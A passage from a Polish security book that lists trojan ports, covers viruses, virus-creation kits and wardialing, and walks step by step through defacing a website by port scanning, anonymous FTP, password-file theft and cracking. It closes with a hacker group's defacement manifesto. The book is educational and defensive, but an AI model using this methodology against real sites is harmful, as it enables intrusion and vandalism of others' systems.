31338 (UDP)	Back Orifice, DeepBO,
31339 (TCP)	NetSpy,
31339 (UDP)	NetSpy DK,
31554 (TCP)	Schwindler,
31666 (UDP)	BOWhack,
31785 (TCP)	Hack´a´Tack 1.0 - 2000,
31787 (TCP)	Hack´a´Tack,
31788 (TCP)	Hack´a´Tack,
31789 (UDP)	Hack´a´Tack,
31791 (UDP)	Hack´a´Tack,
31792	Hack´a´Tack,
32418	Acid Battery v. 1.0,
33333	Prosiak, Blakharaz,
33577	PsychWard,
33777	PsychWard,
33911 (TCP)	Spirit 2001a,
34324 (TCP)	BigGluck, TN,
40412 (TCP)	The Spy,
40421 (UDP)	Agent 40421, Masters Paradise,
40422 (UDP)	Masters Paradise,
40423 (UDP)	Masters Paradise,
40426 (UDP)	Masters Paradise,
47262 (UDP)	Delta Source,
50505 (UDP)	Sockets de Troie = socket23,
50766 (UDP)	Fore, Schwindler 1.82,
53001 (TCP)	Remote Windows Shutdown,
54320	Back Orifice 2000,

Tabela 7.1. Popularne konie trojańskie i wykorzystywane porty (ciąg dalszy)

Port	Nazwa konia trojańskiego
54321 (TCP)	School Bus,
54321 (UDP)	Back Orifice 2000,
54329 (TCP)	lamer,
57341 (TCP)	netraider 0.0,
58339	ButtFunnel,
60000	Deep Throat,
60068	Xzip 6000068,
61348 (TCP)	Bunker-Hill Trojan,
61466	Telecommando,
61603 (TCP)	Bunker-Hill Trojan,
63485 (TCP)	Bunker-Hill Trojan,
65000 (UDP)	Devil v. 1.3,
65000(TCP)	Devil stacheldraht odmiana „lamerska”,
65432	The Traitor,
65432 (UDP)	The Traitor,
65535	RC, ICE,

Istotnym problemem z koniami trojańskimi jest lawinowo rosnąca liczba ich mutacji. W roku 1997 powstało ich 7, w kolejnym — 81, w 1999 — 178 i liczba ta podwajała się w latach następnych. Nie istnieje program antywirusowy czy do usuwania koni trojańskich, który wykrywa wszystkie jeszcze niezbadane mutacje. Programy mające rzekomo chronić system, wykrywają jedynie ułamek grożących komputerom niebezpieczeństw. Jeszcze bardziej niepokojące jest to, że wciąż w Internecie dostępne są kody źródłowe, umożliwiający tworzenie coraz nowszych wersji szkodliwego oprogramowania.

Infekcje wirusowe

Termin „wirus” będzie oznaczał dla nas program komputerowy, tworzący kopie samego siebie przy użyciu programu głównego. Oznacza to, że wirus wymaga takiego programu głównego. Poza więc plikami uruchamialnymi zarażony może być, i często jest, moduł obsługi dysku twardego. Wraz z uruchomieniem zarażonego oprogramowania rozpoczyna się wykonywanie i replikowanie kodu wirusa.

Wirusy rozprowadzane przez hakerów służą zazwyczaj do rozprowadzania pewnego ładunku (payload). Ma on uaktywnić się i wprowadzić zniszczenia w zarażonym systemie dopiero po upływie pewnego okresu czasu. „Zniszczenia” oznaczać mogą uszkodzenie plików, usunięcie danych, a nawet wszystkich plików z twardego dysku. Wirusy najczęściej dystrybuowane są jako załączniki pocztowe, ukryte „dodatki” do pirackich kopii oprogramowania albo razem z zarażonymi dyskietkami.

Destrukcyjność wirusa ściśle zależy od jego rodzaju. Do słynnych „majstersztyków” należy kod inicjujący zdarzenie w momencie otwarcia wiadomości e-mail (niesławne I Love You i Donald Duck). Tradycyjnie wyróżnia się w cyklu życia wirusa trzy stadia: aktywacji, replikacji i operacji.

1. Aktywacja. Pierwszy moment „złapania” wirusa, najczęściej z zaufanego źródła.

2. Replikacja. W tej fazie wirus zaraża możliwie najwięcej obiektów.

3. Operacja. Moment uaktywnienia „ładunku” wirusa — pewna data (jak 13 w piątek czy 1 stycznia) lub zdarzenie (trzeci restart, uruchamiana za pomocą Harmonogramu zadań procedura porządkowania dysku itp.).

Wirusy klasyfikuje się odpowiednio według sposobu ich działania. Wyróżniane są: wirusy głównego sektora rozruchowego (boot sektor), wirusy sektora rozruchowego partycji, wirusy plikowe, wirusy polimorficzne, wirusy wieloczęściowe, wirusy-konie trojańskie, robaki i makrowirusy.

Głównym problemem, któremu stawiają czoło programy antywirusowe jest szybka utrata ich aktualności. Hakerzy korzystają z różnorodnych „zestawów do tworzenia wirusów” (jak The Nuke Randomic Life Generator lub Virus Creation Lab) i kreują coraz to nowe wcielenia, pozostawiające charakterystyczne tylko dla nich samych ślady. Stąd potrzeba regularnego uaktualniania oprogramowania ochronnego zarówno w zakresie nowych danych, jak i nowych mechanizmów wyszukiwania zarażeń.

Przedstawiony na rysunku 7.19 Nuke Randomic Life Generator oferuje niepowtarzalny zestaw narzędzi do tworzenia wirusów. Pozwala utworzyć wirus rezydentny, zabezpieczony losowo dobranymi procedurami. Efektem jest ogromna łatwość tworzenia różniących się od siebie mutacji.

Rysunek 7.19. Nuke Randomic Life Generator

Przedstawione na rysunku 7.20 Virus Creation Lab obsługiwane przez menu, umożliwia hakerom tworzenie i kompilowanie własnych transmutacji wirusa, wyposażonych w komplet funkcji niszczących, wśród których znajdziemy niszczenie plików, blokowanie miejsca na dysku i przeciążanie systemu. Programy tego rodzaju wspomagały tworzenie ponad 60 procent z ogromnej liczby rozpoznanych dotąd wirusów.

Rysunek 7.20. Virus Creation Lab
		Oba zestawy zostały umieszczone na dołączonym do książki CD-ROM-ie.

Wardialing

Skanowanie portów w poszukiwaniu istniejących w zabezpieczeniach luk — idea sprawdzenia możliwie dużej liczby „nasłuchujących” i wybrania z nich tych, które mogą zostać zaatakowane lub w określonym celu wykorzystane — nie jest niczym nowym. Na podobnej zasadzie przeprowadzać można przegląd kodów systemu telefonicznego. Działania takie określa się terminem wardialing — polegają one na skanowaniu numerów telefonów i rejestrowaniu tych z nich, które odpowiadają sygnałem na możliwość nawiązania połączenia.

Napisanych zostało wiele wspaniałych programów, pozwalających skanować całe zakresy numerów telefonicznych. Dobrymi przykładami są Toneloc, THC Scan i Phone­Sweep, żeby wymienić przynajmniej kilka. Zasada jest prosta: jeżeli po wybraniu numeru modem dostarcza wstępnej informacji o uzyskaniu komunikatu CONNECT, numer jest rejestrowany, a komputer rozłącza się i przechodzi do sprawdzania kolejnego. Jest to więc działanie bardzo podobne do opisywanego wcześniej skanowania IP i portów.

Znacznie programów typu wardialers maleje w ostatnich czasach, gdy coraz więcej pozostających w kręgu zainteresowania hakerów komputerów połączonych jest tylko z siecią lokalną czy Internetem bez możliwości dostępu telefonicznego. Przeprowadzenie ich skanowania wymaga pewnej techniki „pełnego przeglądu” i wysyłania dużej ilości pakietów różnych protokołów. Jest to w zasadzie jedyna metoda ustalenia, które usługi są aktywne.

Programy typu wardialers zyskały popularność w chwili pojawienia się na rynku niedrogich modemów, umożliwiających telefoniczny dostęp do sieci. Narzędzie to wybiera kolejno numery z listy telefonów i oczekuje na sygnał fali nośnej komunikacji danych. Po utworzeniu listy wykrytych modemów haker może przejść do kolejnego etapu — wyszukiwania dostępnych w nich luk. Dostępne współcześnie oprogramowanie, wyposażone w odpowiednie moduły wtyczek, potrafi zapewnić wykrycie nie tylko modemu, ale i niezabezpieczonego hasłem PC z oprogramowaniem zdalnego dostępu. Automatycznie wysyłane są też podstawowe skrypty umożliwiające włamanie.

THC-Scan to jedno z najbardziej rozbudowanych narzędzi tej grupy. Jest również szeroko stosowane. To w zasadzie nowa wersja programu Toneloc, określana jako skaner grupy The Hacker's Choice (THC) autorstwa niesławnego guru van Hausera (prezesa The Hacker's Choice). Ta nowa implementacja wniosła na arenę wardialingu wiele nowych elementów (automatycznie wykrywa prędkość, liczbę bitów danych i stopu oraz ustawienie parzystości modemu docelowego). Narzędzie może też wykrywać typ systemu operacyjnego. Ciekawą możliwością jest funkcja rozpoznawania kolejnego tonu wybierania — umożliwia ona atakującemu wykorzystanie centrali PBX ofiary do przeprowadzania darmowych połączeń.

„Złamanie” strony WWW
(Web page hack)

Hakerzy włamujący się na strony WWW zyskali sobie ostatnio pozycje na pierwszych stronach gazet. Przyczyniły się do tego ich znakomite „osiągnięcia” — zmodyfikowane bądź zastąpione strony NASA, Białego Domu, organizacji Greenpeace, Six Flags, Sił Powietrznych USA, Ministerstwa Handlu USA i Kościoła Chrystusa (cztery z nich przedstawiamy na rysunku 7.21; słynna witryna hakerów www.2600.com, udostępnia pod adresem www.2600.com/hacked_pages/ listę-archiwum historycznych i aktualnie „złamanych” witryn WWW).

Rysunek 7.21. „Złamane” strony WWW (z 2600.com)

Poniższy, napisany przez zachowującego anonimowość hakera, artykuł rzucić powinien nieco światła na to, jak świat hakerów wygląda „od środka” (przesłany do www. TigerTools.net 6. lutego 1999).

Od jakichś czterech lat uczestniczę w życiu hakerskiej „sceny” i nie podoba mi się to, czym zajmuje się ostatnio wielu takich, którzy myślą, że są hakerami. Grupom, o nazwach takich jako „milw0rm” czy „Dist0rt”, wydaje się, że hakowanie polega na przerabianiu i niszczeniu witryn WWW. Głupie punki wszczynają między sobą dziecinne „cyberwojny”, rozwodząc się nad swoimi wielkimi umiejętnościami na skrakowanych stronach. Po co? Dla sławy, oczywiście.

Dawniej, kiedy interesowało mnie jeszcze włamywanie się do serwerów, ani razu nie zostawiłem na nich swojego imienia, przezwiska czy jakiegokolwiek innego śladu swojej tożsamości. Prawie nigdy też nie zmieniałem stron WWW (przyznaję się, że zmieniłem zawartość witryny wykorzystywanej do podrabiania e-maili). W ogóle wprowadzenie jakiejkolwiek zmiany wymagało „uzasadnionej przyczyny”. Usuwałem ślady mojej działalności z dzienników, a kiedy tylko miałem pewność, że nie zostanę złapany, informowałem administratora systemu o wykorzystanej wcześniej luce w stosowanych zabezpieczeniach.

Wiem, że cztery lata to nie jest długo, ale przez te cztery lata widziałem, że wiele się zmieniło. Owszem, wciąż są nowicjusze, którzy chcą się uczyć, ale zeszli na złą drogę. Może korzystają z narzędzi, takich jak Back Orifice; za moich czasów bawiliśmy się e-mail bomberami. Grupy, takie jak milw0rm, sprawiają wrażenie garstki niedojrzałych dzieciaków, bawiących się radośnie kawałkami kodu znalezionymi na rootshell.com i robiących z siebie idiotów w oczach prawdziwej społeczności hakerów.

Nikt nie jest doskonały, ale wygląda na to, że bardzo wielu ze współczesnych newbies znalazło się na drodze prowadzącej donikąd. Hakowanie nie polega na psuciu stron WWW, ani też na wyrabianiu sobie nazwiska. W hakowaniu liczy się wiele innych rzeczy: poznawanie nowych systemów operacyjnych, języków programowania i tylu innych rzeczy, jakie tylko można poznać tak głęboko, jak jest to możliwe. Aby zająć się tym, czym powinniście, nauczcie się wykorzystywać technologie, kupcie parę dobrych książek; zainstalujcie Linuksa lub *BSD. Uczcie się; uczcie się wszystkiego, czego możecie. Życie jest krótkie; nie traćcie go na głupie wojny i poszukiwanie sławy. Jako osoba zarządzająca witryną, której liczba odwiedzin przekracza ćwierć miliona, mówię Wam, sława nie jest tym, za co ją niekiedy bierzemy.

Wyjdźcie i róbcie to, co czyni Was szczęśliwymi. Nie patrzcie na to, co inni myślą. Spróbujcie stworzyć coś użytecznego dla ludzi; i nie niszczcie ciężkiej pracy innych. Jeżeli znajdziecie lukę w zabezpieczeniach serwera, powiadomcie administratora; więcej, wskażcie mu drogę postępowania. Pomaganie ludziom znacznie lepiej się opłaca niż niszczenie ich pracy.

Kończąc, mam nadzieję, że ten artykuł otworzył oczy paru, zajmującym się dotąd psuciem witryn WWW, osobom. Wierzę, że myślą one o tym, co napisałem, i traktuję to poważnie. Szaleństwo „łamania” stron WWW trwa już zbyt długo. Zbyt wiele pracy poszło na marne. Jakbyś się czuł, gdyby ktoś zniszczył Twoją ciężką pracę?

Początkowym celem każdego, dążącego do przejęcia strony WWW, hakera jest zdobycie haseł. Jeżeli nie można zainstalować demona zdalnego sterowania (który umożliwiłby najprostsze modyfikowanie przechowywanych na dyskach stron), dostępne są inne metody:

• włamanie FTP,

• włamanie Telnet,

• przechwytujące hasła konie trojańskie,

• inżynieria społeczna (oszustwo),

• wykorzystanie luki w narzędziach administracyjnych HTTP,

• użycie demonów publikowania witryn WWW, takich jak MS FrontPage,

• anonimowe logowanie FTP i próba znalezienia pliku haseł,

• przeszukanie popularnych „pająków” internetowych pod kątem publikowanych tam często plików haseł.

W ostatnim już studium rzeczywistego przypadku przedstawimy, krok po kroku, przebieg włamania do witryny WWW. Dla celów naszego omówienia rozbijemy całość operacji na pięć etapów.

Warunkiem przeprowadzenia badania zabezpieczeń witryny, która wzięła udział w niniejszym, rzeczywistym przypadku, było podpisanie przez firmę zlecającą odpowiedniego zrzeczenia się odpowiedzialności.

Krok 1. Rozpoznanie

Celem tego etapu jest uzyskanie ogólnych informacji o celu. Analiza rozpoczyna się od nazwy firmy, w tym przypadku, WebHackVictim, Inc. Jak opisywaliśmy wcześniej, lokalizować będziemy w Internecie nazwę sieci firmy. Przypomnijmy, że nazwa domenowa, o której tu mowa, jest adresem urządzenia przyłączonego do Internetu lub innej sieci TCP/IP, zapisanym słowami w celu ułatwienia rozpoznawania serwerów, organizacji i typów organizacji. Ma postać www.nazwa_firmy.com.

Jak opisywaliśmy to wcześniej, odnalezienie określonej sieci w Internecie przypominać może szukanie przysłowiowej igły w stogu siana: jest trudne, ale możliwe. Jak wiemy, usługą umożliwiającą wyszukiwanie informacji, takich jak URL pewnej firmy albo nazwa użytkownika w jej domenie, jest Whois. Rysunek 7.22 przedstawia przykład użycia tej usługi.

Rysunek 7.22. Przykładowe wyszukiwanie Whois

Po ustaleniu internetowej nazwy sieci firmy klikamy łącze bezpośrednio w wynikach wyszukiwania Whois. Upewnimy się w ten sposób ostatecznie co do funkcjonowania uzyskanego adresu URL.

Krok 2. Uszczegółowienie danych

Uzyskamy teraz dalsze informacje rozpoznania, rozpoczynając próbę ataku. Będzie to wymagało prostego żądania ICMP echo (ping) — w danych wyjściowych znajdziemy adres IP odpowiadający nazwie www.webhackvictim.com. Polecenie ping można uruchomić z okna MS-DOS systemu Windows lub sesji terminala w systemie UNIX. Polecenie ping uzyskuje adres IP w wyniku następującej procedury.

1. Stacja wysyła żądanie PING.

6. Żądanie trafia do serwera DNS lokalnego lub należącego do ISP w celu odwzorowania nazwy.

7. Adres URL, na przykład www.xyzinc.com, jest adresem w sieci obcej, zapytanie zostaje więc przekazane do serwera DNS organizacji InterNIC.

8. W systemie DNS organizacji InterNIC domena xyzinc.com dopasowana zostaje do serwera DNS firmy XYZ lub obsługującego ją ISP (207.237.2.2). Stosowana technika ustalenia adresu nie różni się od opisanych w rozdziale 4. Zapytanie zostaje następnie przekazane dalej.

9. DNS usługodawcy internetowego firmy XYZ, dopasowuje i odwzorowuje nazwę domenową www.xyzinc.com do adresu IP. Dopiero wówczas pakiet przekazywany jest do serwera WWW, który odsyła odpowiedź (patrz
   rysunek 7.23).

Rysunek 7.23. Proces odwzorowania nazwy domenowej

Uzyskany za pośrednictwem żądania ICMP echo adres IP przedstawiamy na rysunku 7.24.

Rysunek 7.24. Żądanie ICMP echo

Standardowe wpisy DNS domen zawierają zazwyczaj rekordy nazwa-IP dla serwerów WWW, FTP i innych, stosowanych w danej sieci. Dalsze zapytania PING ujawnić mogą ich obecność i adresy, należące najprawdopodobniej do sieci docelowej 207. 155.248.0 (patrz rysunek 7.25).

Rysunek 7.25. Uzupełniające zapytanie ping

Jak widać, w tym przypadku sieć docelowa albo nie korzysta z ogólnie przyjętych standardów DNS, albo usługa FTP powiązana została z odmienną nazwą. Pozostaje więc standardowe skanowanie portów IP w poszukiwaniu potencjalnie użytecznych przy włamaniu usług. Typową procedurą jest skanowanie ukierunkowane na wykrycie aktywnych w sieci adresów oraz otwartych na wykrytych stacjach portów. Choć może to oznaczać skanowanie całości sieci, pamiętać należy, że nadmiar skanowania i nakierowanych na wykrycie luk testów łatwo doprowadzić może do wykrycia hakera. Przyjmujemy założenie, że sieć docelowa jest standardową siecią klasy C (patrz rozdział 1.). Zgodnie z wcześniej uzyskanymi informacjami wprowadzamy więc w programie skanującym graniczne wartości zakresu, 207.155.248.1 i 207.155.248.254, z maską 24-bitową (255.255.255.0). Podstawą są dane dostarczone przez usługę DNS:

www www.webhackvictim.com 207.155.248.7

Tym razem jednak interesuje nas wyłącznie witryna WWW, pod adresem 207.155.248.7, nie traćmy więc czasu — ustalamy limit czasowy przeglądu na 2 sekundy. Powinno to wystarczyć do utworzenia listy otwartych portów systemu:

207.155.248.7: 11, 15, 19, 21, 23, 25, 80

Bingo! Rozbiliśmy bank! Przypomnijmy sobie teraz przedstawiane już wcześniej informacje.

• Port 11: Systat. Usługa systat to funkcja serwera UNIX zapewniająca możliwość zdalnego pobierania listy uruchomionych procesów. Po jej uzyskaniu hakerowi pozostaje przejrzenie kolejnych pozycji i wybranie najskuteczniejszej formy ataku.

• Port 15: Netstat. Polecenie netstat umożliwia wyświetlenie informacji o stanie aktywnych połączeń sieciowych, rozmiarze MTU itp. Jest to pomocne w odtwarzaniu relacji zaufania wykraczających poza domenę docelową.

• Port 19: Chargen. Usługa chargen służyć ma do generowania strumienia znaków, wykorzystywanego podczas testowania sieci. Osoba nieuprawniona może wykorzystać ją do utworzenia pętli, w której łączone są ze sobą usługi echo i chargen. Do opracowania tego rodzaju pętli nie jest nawet konieczne, aby haker działał już w sieci docelowej.

• Port 21: FTP. Typowy komunikat powitalny usługi FTP podaje hakerowi numer wersji demona usługi. W połączeniu z wiedzą o zainstalowanym systemie operacyjnym może to umożliwić uzyskanie anonimowego dostępu.

• Port 23: Telnet. Demon umożliwiający dostęp i administrowanie komputerem zdalnym za pośrednictwem sieci lokalnej lub Internetu. Uzyskiwane dzięki usłudze Telnet dane pomagają w przeprowadzeniu skutecznego ataku.

• Port 25: SMTP. Korzystając z portów SMTP i POP3, haker może uzyskać dostęp do usług pocztowych. Pozwoli to wysyłać bomby pocztowe, podrabiać wiadomości czy po prostu wykorzystywać usługi bramy do wysyłania poczty.

• Port 80: HTTP. Demon HTTP sygnalizuje aktywność usługi serwera WWW. Jest to doskonała furtka do wielu ataków, których skutki obejmują zdalne uruchamianie poleceń, wyświetlanie zawartości plików i katalogów, przeszukiwanie stacji, modyfikowanie plików, uruchamianie i modyfikowanie skryptów, nieuprawnione korzystanie z usług pocztowych, dostęp do danych chronionych i modyfikowanie stron WWW.

• Port 110: POP3. Korzystając z portów SMTP i POP3, haker może uzyskać dostęp i możliwość nieautoryzowanego korzystania z usług pocztowych.

Lista może wyglądać znajomo, system jest bowiem niemal na pewno serwerem UNIX, konfigurowanym prawdopodobnie przez początkującego administratora. W tym miejscu warto przypomnieć, że statystyki alarmują, iż ponad 89 procent wszystkich przyłączonych do Internetu sieci jest podatnych na pewien rodzaj włamania.

Krok 3. Rozpoczęcie właściwego ataku

Podejmiemy teraz próbę anonimowego logowania i wyszukania potencjalnych luk w zabezpieczeniach. Rozpoczniemy od usługi jakby przeznaczonej dla nas: demona FTP. Jednym z najprostszych sposobów uzyskania praw superużytkownika na serwerze UNIX jest skorzystanie z anonimowego dostępu FTP. Do zamaskowania śladów niezbędne będzie również podrobienie adresu IP.

Krok 4. Poszerzenie wyłomu

Najpierw pobieramy plik haseł. Wybieramy następnie odpowiedni program do łamania haseł i tworzenia słownika. Uzyskujemy w ten sposób kompletny zestaw do „rozpracowania” logowania do serwera. W tym przypadku polecić można takie programy, jak na przykład Cracker Jack, John the Ripper, Brute Force Cracker lub Jack the Ripper.

Krok 5. „Hakowanie” strony

Po zalogowaniu przez FTP na prawach administratora i zlokalizowaniu docelowego pliku strony WWW (w tym przypadku index.html) pobieramy plik, za pomocą dowolnego narzędzia do tworzenia stron WWW wprowadzamy odpowiednie modyfikacje i ładujemy plik ponownie na serwer (patrz rysunek 7.26).

Aby zakończyć tę część rozdziału, podobnie jak zaczęliśmy, przywołując punkt widzenia hakera, zamieszczamy poniżej tekst napisany przez zespół H4G1S grupy Underground tuż po „złamaniu” strony NASA.

Rysunek 7.26. Strona oryginalna i strona zmodyfikowana

W TYM MIEJSCU KOMERCJALIZACJA INTERNETU SIĘ KOŃCZY

Najlepsze życzenia od H4G1S m3mb3rs

Naszą misją jest kontynuowanie dzieła naszych kolegów z ILF. Przez kolejny miesiąc my, członkowie H4G1S, prowadzić będziemy atak przeciwko rządzącym w USA korporacjom. Każdy, kto czerpie korzyści z nieetycznego wykorzystania Internetu, stanie się ofiarą rosnącego w siłę cyfrowego terroryzmu. Nasi doskonale wyszkoleni członkowie nie spoczną tak długo, aż nasze istnienie dostrzeżone zostanie w całym kraju. Nie pomogą najbardziej wyrafinowane firewalle. Naszą potęgę zademonstrujemy w nadchodzących tygodniach.

Możesz nas winić,

Starać się zatrzymać,

Możesz tworzyć nowe prawa,

I „zabezpieczać” przed nami dane,

Haker, nie przez kupczenie, ale Z URODZENIA.

Jedni rodzą się Czarni, inni rodzą się Biali,

Ale chaos nie wybiera koloru.

Chaos, który przepełnia nasze życie, życie nas wszystkich,

Nakazuje nam HAKOWAĆ

Do głębi, mimo mediów, mimo rządu, mimo CAŁEGO GÓWNA:

JESTEŚMY HAKERAMI.

Gdy raz w to wpadniesz, tak już zostanie.

Konspiracja, która podkopuje naszą wolność, naszą ludzkość, naszą stabilność i bezpieczeństwo.

Samonakręcający się, bezowocny cykl, który zakończyć można jedynie siłą.

Jeśli musimy się poświęcić, nic nas nie zatrzyma.

Tak, błagamy Amerykę, aby ODKRYŁA HAKERA W SOBIE.

Zrób krok w tył i spójrz dokoła:

Jak długo mają moi bracia cierpieć za zbrodnie subiektywnie uznane za NIELEGALNE.

Pieprzone przymuły w biurach,

Kradnące pieniądze narodu,

Wypisujące ustawy, które ograniczają Twoje prawa.

A kraj tylko patrzy.

LUDU AMERYKI:

CZAS STANĄĆ DO WALKI.

I BĘDZIEMY WALCZYĆ

Na ulicach i w naszych domach

W cyberprzestrzeni i przez telefony

Oni wygrywają, gdy niszczą naszą wolę.

Tą farsą wyzywamy media,

Tą farsą wyzywamy kapitalizm,

Tą farsą wyzywamy WYMIAR SPRAWIEDLIWOŚCI.

Powiedz Berniemu S (http://www.2600.com/law/bernie.html) i Kevinowi Mitnickowi

(http://www.kevinmitnick.com/) o Justice.

To jest dopiero pierwsze uderzenie, wkrótce będzie ich *WIELE*.

Prosimy Was wszystkich, siedzących w swoich domach i czytających ten tekst

Prosimy, nie dla Hagis, nie dla kraju, ale dla SIEBIE:

WALCZCIE Z BIAŁYM PSEM CIEMIĘŻCĄ.

Plik utmp oraz lastlog nie muszą wcale znajdowac się w katalogach wskazanych przez Wintermute (/etc/ utmp oraz /var/adm/lastlog). Mogą być w /var/log, /usr/adm lub dowolnym innym miejscu — przyp. red.

A obecnie także wirusów — przyp. red.

W polskim prawodastwie, adres skrzynki pocztowej nie jest w żaden sposób chroniony, co oznacza,
iż każdy może na nasz adres wysyłać, co mu się tylko podoba — przyp. red.

Zakładając, iż będziemy mieli dostep także do pliku z ukrytymi hasłami — przyp. red.

Jeśli sieć ma topologię gwiazdy (interfejsy sieciowe komputerów podłączone osobnymi kablami
do switcha, bramki), wtedy możemy podsłuchiwać jedynie ten jeden kabel — przyp. red.

Określić możemy port, który podsłuchujemy, a co za tym idzie, konretną usługę na tym porcie uruchomioną, np. telnet, ftp, pop3 — usługi w których login i hasło przesyłane jest jawnym tekstem
— przyp. red.

Wygląda różnie w zależności od topologi sieci i od tego, jaki sprzęt jest wykorzystywany.
Jest to poprawne stwierdzenie dla ethernetu — przyp. red.

Zakładając, iż serwer www.webhackvictim.com odpowie na żądanie ICMP. Pewniejszą „techniką” jest bezpośrednie odpytanie serwera DNS, np. poprzez komendę nslookup — przyp. red.

Zakładając, iż będziemy mieli plik z hasłami, a nie informacje o użytkownikach serwisu ftp
— przyp. red.

400 Hack Wars. Tom 1. Na tropie hakerów

Rozdział 7. ♦ Metody przeprowadzania ataków 399

400 C:\Biezace\Hack Wars\hack wars 1\9-1 makieta\07.doc

C:\Biezace\Hack Wars\hack wars 1\9-1 makieta\07.doc 399

C:\Biezace\Hack Wars\hack wars 1\9-1 makieta\07.doc 319

---